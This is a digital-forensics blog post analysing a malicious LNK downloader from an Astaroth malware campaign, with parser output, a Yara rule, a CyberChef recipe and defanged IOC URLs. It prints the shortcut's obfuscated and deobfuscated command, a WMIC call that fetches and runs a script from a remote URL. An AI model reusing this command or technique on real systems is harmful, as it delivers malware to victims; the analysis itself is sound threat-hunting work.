Deriving intelligence from LNK files

LNK files have a healthy life in DFIR. There is good reason: they are so awesome for analysis. Whether it be linking a user to knowledge of a file, as part of a jump list, or in their use for malicious purposes. In regards to the latter, The MITRE ATT&CK framework describes this as the specific technique: 'shortcut modification' (T1023) which is summarised as follows:

Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use Masquerading to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.

Now it seems that LNK files are back (but, really, did they ever go?) On 8 July 2019, Microsoft released a blog post highlighting an Astaroth malware campaign using, in part, a downloader in the form of a malicious LNK file: certidao.htm.lnk. I located a similar sample on Hybrid-Analysis here (SHA256: 82942e3356e6d3017e4952491d2a6d8ce5748cfd15387b5bcaaf45a3cb6cf35a) and thought that I'd take a look to see what intelligence could be derived from the LNK file alone.

so_hot_right_now

The juicy part of the LNK file is in the shortcut tab:

astaroth_shortcut

Here we can see the 'Target' (normally a direct reference to a file) is a snippet of code, the shortcut will run minimised, and the comment looks like gibberish. Pulling out the actual details of the shortcut using LECmd provides the following:

--- Header ---
  Target created:  2010-11-21 03:24:03
  Target modified: 2010-11-21 03:24:03
  Target accessed: 2010-11-21 03:24:03

  File size: 302,592
  Flags: HasTargetIdList, HasLinkInfo, HasName, HasArguments, HasIconLocation, IsUnicode, HasExpString
  File attributes: FileAttributeArchive
  Icon index: 64
  Show window: SwShowminnoactive (Display the window as minimized without activating it.)

Name: zvvvje4d5777hiqt2369aIEFLHKnncxmvbvjhsj2567hgeet286daUFFLHrnccmxbbrh2j2667lguet986ddaUFIHJrnnmmxbihsjj466lgukk980ddWYIIHJrbmcx
Arguments:  /V /C "set x=C77jhd2766:\\77jhd2766W77jhd2766i77jhd2766nd77jhd2766ow77jhd2766s\\s77jhd2766ys77jhd2766te77jhd2766m377jhd2766277jhd2766\\77jhd2766w77jhd2766b77jhd2766e77jhd2766m\\W77jhd2766M77jhd2766I77jhd2766C.e77jhd2766x77jhd2766e o77jhd2766s g77jhd2766e77jhd2766t UF77jhd2766H77jhd2766K77jhd2766m77jhd2766xi77jhd2766h277jhd2766, fre77jhd2766evi77jhd2766r77jhd2766t77jhd2766u77jhd2766a77jhd2766l77jhd2766me77jhd2766mo77jhd2766ry77jhd2766 /77jhd2766fo77jhd2766rm77jhd2766at:"h77jhd2766t77jhd2766t77jhd2766p77jhd2766s77jhd2766:77jhd2766/77jhd2766/st77jhd2766o77jhd2766r77jhd2766ag77jhd2766e.77jhd2766go77jhd2766og77jhd2766lea77jhd2766pis77jhd2766.co77jhd2766m77jhd2766/77jhd2766a77jhd2766w77jhd2766s77jhd2766d77jhd2766x/77jhd27660977jhd2766/v77jhd2766.t77jhd2766xt77jhd2766#0277jhd276650177jhd27664q277jhd2766977jhd2766I77jhd2766S77jhd2766q77jhd2766c77jhd2766z77jhd2766v" &&echo %x:77jhd2766=%|%ComSpec%"
Icon Location: %SystemRoot%\system32\imageres.dll

--- Link information ---
Flags: VolumeIdAndLocalBasePath

>>Volume information
  Drive type: Fixed storage media (Hard drive)
  Serial number: 086F96AF
  Label: (No label)
  Local path: C:\Windows\System32\cmd.exe

--- Target ID information (Format: Type ==> Value) ---

  Absolute path: My Computer\C:\Windows\System32\cmd.exe

  -Root folder: GUID ==> My Computer

  -Drive letter ==> C:

  -Directory ==> Windows
    Short name: Windows
    Modified: 2019-04-30 20:34:24
    Extension block count: 1

    --------- Block 0 (Beef0004) ---------
    Long name: Windows
    Created: 2009-07-14 03:20:10
    Last access: 2019-04-30 20:34:24
    MFT entry/sequence #: 671/1 (0x29F/0x1)

  -Directory ==> System32
    Short name: System32
    Modified: 2019-04-30 18:45:08
    Extension block count: 1

    --------- Block 0 (Beef0004) ---------
    Long name: System32
    Created: 2009-07-14 03:20:12
    Last access: 2019-04-30 18:45:08
    MFT entry/sequence #: 2549/1 (0x9F5/0x1)

  -File ==> cmd.exe
    Short name: cmd.exe
    Modified: 2010-11-21 03:24:04
    Extension block count: 1

    --------- Block 0 (Beef0004) ---------
    Long name: cmd.exe
    Created: 2010-11-21 03:24:04
    Last access: 2010-11-21 03:24:04
    MFT entry/sequence #: 20227/1 (0x4F03/0x1)

--- End Target ID information ---

--- Extra blocks information ---

>> Environment variable data block
   Environment variables: %ComSpec%

>> Special folder data block
   Special Folder ID: 37

>> Known folder data block
   Known folder GUID: 1ac14e77-02e7-4e5d-b744-2eb1ae5198b7 ==> System32

>> Property store data block (Format: GUID\ID Description ==> Value)
   46588ae2-4cbc-4338-bbfc-139326986dce\4 SID ==> S-1-5-21-814163198-2266970693-1875007973-1002

>> Tracker database block
   Machine ID: dedicado-web
   MAC Address: 00:26:b9:fd:e1:82
   MAC Vendor: DELL
   Creation: 2019-03-21 04:28:56

   Volume Droid: 8c78ff20-8b31-44de-bbba-eabca30a81ea
   Volume Droid Birth: 8c78ff20-8b31-44de-bbba-eabca30a81ea
   File Droid: d73dcd41-4b91-11e9-8dc8-0026b9fde182
   File Droid birth: d73dcd41-4b91-11e9-8dc8-0026b9fde182

The full output provides a bunch of useful information. From an immediate incident response perspective, we'd probably go straight to the block of obfuscated code and see what it's doing. From a glance it looks like a 'find/replace' could clean it up substantially:

Arguments:  /V /C "set x=C:\\Windows\\system32\\wbem\\WMIC.exe os get UFHKmxih2, freevirtualmemory /format:"https://storage.googleapis.com/awsdx/09/v.txt#025014q29ISqczv" &&echo %x:=%|%ComSpec%"

Job done?

So, what else is there? We have the critical IOC of the path where the LNK file is pointing and we can pivot from there. The best thing about malicious LNK files are the metadata they contain about the attacker's infrastructure. In this case (amongst other interesting values):

Serial number: 086F96AF
Machine ID: dedicado-web
MAC Address: 00:26:b9:fd:e1:82
MAC Vendor: DELL

These values give information relating to the hardware of the attacker's infrastructure, including the NetBios name, 'dedicado-web', and the MAC address, '00:26:b9:fd:e1:82'.

Interestingly we can switch to open source intelligence (aka Google) and lookup 'dedicado-web' which led me to a Brazilian VPS of the same name. It has links to the more well-known bulletproof provider OVH. This fits with the overwhelmingly Brazilian focus of the Astaroth campaign.

dedicado-web

Yara me this...

But the other data remains useful. Leveraging the data within the LNK file we can hunt for other samples of files that have the same 'toolmarks' and see what we come up with. Here, my beginner Yara skills actually come in handy:

rule Astaroth
{
	meta:
		author = "@mattnotmax"
		date = "2019-07-15"
		description = "LNK file with a unique MAC address or NETBIOS name in relation to a Astaroth campaign"
		reference = "https://www.microsoft.com/security/blog/2019/07/08/dismantling-a-fileless-campaign-microsoft-defender-atp-next-gen-protection-exposes-astaroth-attack/"
        sample = "82942e3356e6d3017e4952491d2a6d8ce5748cfd15387b5bcaaf45a3cb6cf35a"
		
	strings:
		$mac = {00 26 B9 FD E1 82}
		$netbios = "dedicado-web" fullword ascii
		
	condition:
		uint16(0) == 0x4c and ($mac or $netbios)
}

Searching on Hybrid-Analysis (aka poor man's Virus Total) gives a good result of 22 hits, of which 21 had shared samples. These were uploaded between 24 April 2019 and 11 June 2019.

HA_results

Some of these are tagged with #banload or #apt so the may not be relevant. Processing the group again with LECmd and they appear to be very consistent (edited for screen size):

Truncated Hash TargetCreated FileSize VolumeSerialNumber MachineID MachineMACAddress MACVendor
018c35d8...fb1131f9 2010-11-21 03:24:03 302592 086F96AF dedicado-web 00:26:b9:fd:e1:82 DELL
0a810c66...301f9f5d 2010-11-21 03:24:03 302592 086F96AF dedicado-web 00:26:b9:fd:e1:82 DELL
12ad543a...63592ec5 2010-11-21 03:24:03 302592 086F96AF ns237 00:26:b9:fd:e1:82 DELL
1a6e71a8...6c4e2e00 2010-11-21 03:24:03 302592 086F96AF dedicado-web 00:26:b9:fd:e1:82 DELL
441cd985...60b49a54 2010-11-21 03:24:03 302592 086F96AF ns237 00:26:b9:fd:e1:82 DELL
5694add6...2f1f7888 2010-11-21 03:24:03 302592 086F96AF dedicado-web 00:26:b9:fd:e1:82 DELL
57603915...8bccc5a2 2010-11-21 03:24:03 302592 086F96AF dedicado-web 00:26:b9:fd:e1:82 DELL
589fd0b6...277a0d87 2010-11-21 03:24:03 302592 086F96AF dedicado-web 00:26:b9:fd:e1:82 DELL
5a7fb5e6...4a99e795 2010-11-21 03:24:03 302592 086F96AF dedicado-web 00:26:b9:fd:e1:82 DELL
8156fd98...1df9b7ed 2010-11-21 03:24:03 302592 086F96AF ns237 00:26:b9:fd:e1:82 DELL
82942e33...cb6cf35a 2010-11-21 03:24:03 302592 086F96AF dedicado-web 00:26:b9:fd:e1:82 DELL
862fcf17...5fed9048 2010-11-21 03:24:03 302592 086F96AF dedicado-web 00:26:b9:fd:e1:82 DELL
98ffca4f...e720dc16 2010-11-21 03:24:03 302592 086F96AF dedicado-web 00:26:b9:fd:e1:82 DELL
ab3a338d...fe030518 2010-11-21 03:24:03 302592 086F96AF dedicado-web 00:26:b9:fd:e1:82 DELL
c783a629...15af9228 2010-11-21 03:24:03 302592 086F96AF dedicado-web 00:26:b9:fd:e1:82 DELL
ca8757ed...b86eb751 2010-11-21 03:24:03 302592 086F96AF ns237 00:26:b9:fd:e1:82 DELL
cf67b1fb...9e93ec14 2010-11-21 03:24:03 302592 086F96AF dedicado-web 00:26:b9:fd:e1:82 DELL
dde556d6...71c7ab44 2010-11-21 03:24:03 302592 086F96AF dedicado-web 00:26:b9:fd:e1:82 DELL
e2239cd4...e18d9dbd 2010-11-21 03:24:03 302592 086F96AF ns237 00:26:b9:fd:e1:82 DELL
e239a967...71a2c2ef 2010-11-21 03:24:03 302592 086F96AF ns237 00:26:b9:fd:e1:82 DELL
f2d0cdbf...044ccbb5 2010-11-21 03:24:03 302592 086F96AF ns237 00:26:b9:fd:e1:82 DELL

The similar results in the above table is also matched in a review of the in-line code which has the same obfuscation as the first example. It's no secret I am a fan of CyberChef and using the forks, registers, and some regex the relevant URLs can be extracted from the in-line code:

[{"op":"Fork","args":["\\n","\\n",true]},{"op":"Register","args":["(?<=echo %x:)(.*)(?=\\=)",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R0"},"",true,false,true,false]},{"op":"Find / Replace","args":[{"option":"Simple string","string":"[]"},"",true,false,true,false]},{"op":"Extract URLs","args":[false]},{"op":"Defang URL","args":[true,true,false,"Everything"]},{"op":"Remove whitespace","args":[true,true,true,true,true,false]}]

Becomes...

hxxp://storage[.]googleapis[.]com/midgoldem/09/v[.]txt#025040xiuj6rl9d
hxxp://storage[.]googleapis[.]com/midgoldem/09/v[.]txt#025070xbhj6luk0
hxxp://storage[.]googleapis[.]com/xmoabx/04/v[.]txt#025051IJrmxxmir
hxxp://e8aUHrmmr[.]intelcore-i1[.]website:25/9/?13825xmuj8luk
hxxp://storage[.]googleapis[.]com/midgoldem/06/v[.]txt#025038Knmbj2257
hxxps://storage[.]googleapis[.]com/awsdx/09/v[.]txt#025050nmble0aUH
hxxps://storage[.]googleapis[.]com/ultramaker/09/v[.]txt#025010bvrhj267l
hxxps://storage[.]googleapis[.]com/ultramaker/09/v[.]txt#025060xjuf7hrl3
hxxps://storage[.]googleapis[.]com/ultramaker/09/v[.]txt#025060aIUIHKrnc
hxxp://storage[.]googleapis[.]com/kodesca/08/v[.]txt#025028jd3ISnxvj
hxxps://storage[.]googleapis[.]com/awsdx/09/v[.]txt#025014q29ISqczv
hxxps://storage[.]googleapis[.]com/ultramaker/08/v[.]txt#025018ef7hil69I
hxxps://storage[.]googleapis[.]com/awsdx/09/v[.]txt#025060jsf7il36h
hxxp://storage[.]googleapis[.]com/teslaasth/09/v[.]txt#025050ELKqxmvjd
hxxps://storage[.]googleapis[.]com/awsdx/09/v[.]txt#0250800UHbcbrs4
hxxp://storage[.]googleapis[.]com/kodesca/09/v[.]txt#025091e6UHrcxvs
hxxp://q39ESqczv[.]intelcore-i5[.]site:25020/09/?138025020qixvj22h
hxxps://storage[.]googleapis[.]com/ultramaker/06/v[.]txt#0250906uk8dWUIJ
hxxp://storage[.]googleapis[.]com/kodesca/04/v[.]txt#025058il39ELvmd
hxxp://storage[.]googleapis[.]com/kodesca/06/v[.]txt#025022e986IJrmc
hxxp://storage[.]googleapis[.]com/midgoldem/06/v[.]txt#025055rmxvs26ge

Don't take my word for it...

The above is slightly contrived, in that we only were able to look back a couple of months, and are getting results from probably the same Astaroth campaign. Sure, we probably could have written a different Yara rule and got similar (or more) results; however, the power of LNK file metadata is long-term tracking of threat actors who re-use the same files, and transfer their metadata from campaign x to campaign y. This 'crude' example is a good demonstration of using this technique.

This tactic was nicely demonstrated in late-2018 through Fireeye's outing of Cozy Bear's reuse of a LNK file from 2016 which is detailed here: Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign

Other sources of great information are numerous entries in Harlan Carvey's Windows Incident Response blog:
Parsing the Cozy Bear LNK File
LNK Files
A Minimal LNK
LNK Files In The Wild
LNK "Toolmarks"
and more...

A big thanks to Harlan for recent discussions I had with him on this issue, and his assistance.

Further research

There is plenty to research in LNK files. For example, what 'toolmarks' (if any) do the various exploitation frameworks produce when they create malicious LNK files? A parallel to the accidental 'extraneous space' that Cobalt Strike placed in the HTTP status response that allowed FOX-IT (and possibly others) to track malicious server infrastructure.

Another avenue might be to look at how LNK files are created manually, through the GUI, or through the API and what differences there might be in creation and editing.

If you have any ideas, then let me know, either via matt@bitofhex.com or via @mattnotmax. Thanks for reading!